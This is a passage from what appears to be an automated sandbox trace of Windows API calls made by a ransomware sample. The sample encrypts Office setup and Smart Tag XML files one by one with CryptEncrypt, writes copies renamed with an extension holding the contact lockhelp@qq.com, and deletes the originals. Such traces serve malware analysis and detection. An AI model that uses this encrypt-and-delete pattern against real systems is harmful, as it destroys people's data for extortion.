CloseHandle (hObject=0x178) returned 1 [0053.888] CloseHandle (hObject=0x194) returned 1 [0053.889] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0053.890] SetEvent (hEvent=0x14c) returned 1 [0053.890] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.891] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=20577) returned 1 [0053.891] CloseHandle (hObject=0x194) returned 1 [0053.891] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0053.892] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.892] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.892] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.892] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.892] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0053.892] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.892] ReadFile (in: hFile=0x194, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x5061, lpOverlapped=0x0) returned 1 [0053.899] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5070, dwBufLen=0x5070 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x5070) returned 1 [0053.899] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x5070, lpOverlapped=0x0) returned 1 [0053.900] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932e0) returned 1 [0053.901] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.901] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0053.901] CryptDestroyKey (hKey=0x5932e0) returned 1 [0053.901] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0053.901] CryptDestroyKey (hKey=0x593220) returned 1 [0053.901] CloseHandle (hObject=0x194) returned 1 [0053.901] CloseHandle (hObject=0x178) returned 1 [0053.902] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 1 [0053.903] SetEvent (hEvent=0x14c) returned 1 [0053.903] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.904] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=8723) returned 1 [0053.904] CloseHandle (hObject=0x178) returned 1 [0053.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0053.904] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.904] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.904] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.906] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0053.906] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.906] ReadFile (in: hFile=0x178, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x2213, lpOverlapped=0x0) returned 1 [0053.908] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x2220, dwBufLen=0x2220 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x2220) returned 1 [0053.908] WriteFile (in: hFile=0x194, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x2220, lpOverlapped=0x0) returned 1 [0053.909] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932e0) returned 1 [0053.909] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.909] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0053.909] CryptDestroyKey (hKey=0x5932e0) returned 1 [0053.909] WriteFile (in: hFile=0x194, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0053.909] CryptDestroyKey (hKey=0x593220) returned 1 [0053.909] CloseHandle (hObject=0x178) returned 1 [0053.909] CloseHandle (hObject=0x194) returned 1 [0053.910] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0053.911] SetEvent (hEvent=0x14c) returned 1 [0053.911] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0053.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.912] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2424) returned 1 [0053.912] CloseHandle (hObject=0x194) returned 1 [0053.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 0x20 [0053.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0053.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0053.912] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.912] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0053.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0053.915] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0053.915] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0053.915] ReadFile (in: hFile=0x194, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x978, lpOverlapped=0x0) returned 1 [0054.035] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x980, dwBufLen=0x980 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x980) returned 1 [0054.035] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x980, lpOverlapped=0x0) returned 1 [0054.047] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932e0) returned 1 [0054.047] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0054.048] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0054.048] CryptDestroyKey (hKey=0x5932e0) returned 1 [0054.048] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0054.048] CryptDestroyKey (hKey=0x593220) returned 1 [0054.048] CloseHandle (hObject=0x194) returned 1 [0054.048] CloseHandle (hObject=0x178) returned 1 [0054.050] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml")) returned 1 [0054.058] SetEvent (hEvent=0x14c) returned 1 [0054.067] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0054.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0054.068] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1844) returned 1 [0054.068] CloseHandle (hObject=0x178) returned 1 [0054.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0054.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0054.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0054.068] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0054.068] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0054.068] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0054.069] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5932e0) returned 1 [0054.069] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0054.069] ReadFile (in: hFile=0x178, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x734, lpOverlapped=0x0) returned 1 [0054.070] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x740, dwBufLen=0x740 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x740) returned 1 [0054.070] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x740, lpOverlapped=0x0) returned 1 [0054.071] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593320) returned 1 [0054.071] CryptSetKeyParam (hKey=0x593320, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0054.071] CryptEncrypt (in: hKey=0x593320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0054.071] CryptDestroyKey (hKey=0x593320) returned 1 [0054.071] WriteFile (in: hFile=0x184, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0054.071] CryptDestroyKey (hKey=0x5932e0) returned 1 [0054.071] CloseHandle (hObject=0x178) returned 1 [0054.071] CloseHandle (hObject=0x184) returned 1 [0054.072] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0054.073] SetEvent (hEvent=0x14c) returned 1 [0054.073] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0054.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0054.073] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2687) returned 1 [0054.073] CloseHandle (hObject=0x184) returned 1 [0054.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 0x20 [0054.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0054.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0054.074] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0054.074] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0054.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0054.074] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5932e0) returned 1 [0054.074] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0054.074] ReadFile (in: hFile=0x184, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0xa7f, lpOverlapped=0x0) returned 1 [0054.075] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0xa80, dwBufLen=0xa80 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0xa80) returned 1 [0054.076] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xa80, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xa80, lpOverlapped=0x0) returned 1 [0054.076] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593320) returned 1 [0054.076] CryptSetKeyParam (hKey=0x593320, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0054.076] CryptEncrypt (in: hKey=0x593320, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0054.077] CryptDestroyKey (hKey=0x593320) returned 1 [0054.077] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0054.077] CryptDestroyKey (hKey=0x5932e0) returned 1 [0054.077] CloseHandle (hObject=0x184) returned 1 [0054.077] CloseHandle (hObject=0x178) returned 1 [0054.077] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0054.078] SetEvent (hEvent=0x14c) returned 1 [0054.078] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0054.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0054.079] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=8564) returned 1 [0054.079] CloseHandle (hObject=0x178) returned 1 [0054.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0054.079] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0054.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0054.079] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0054.079] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: 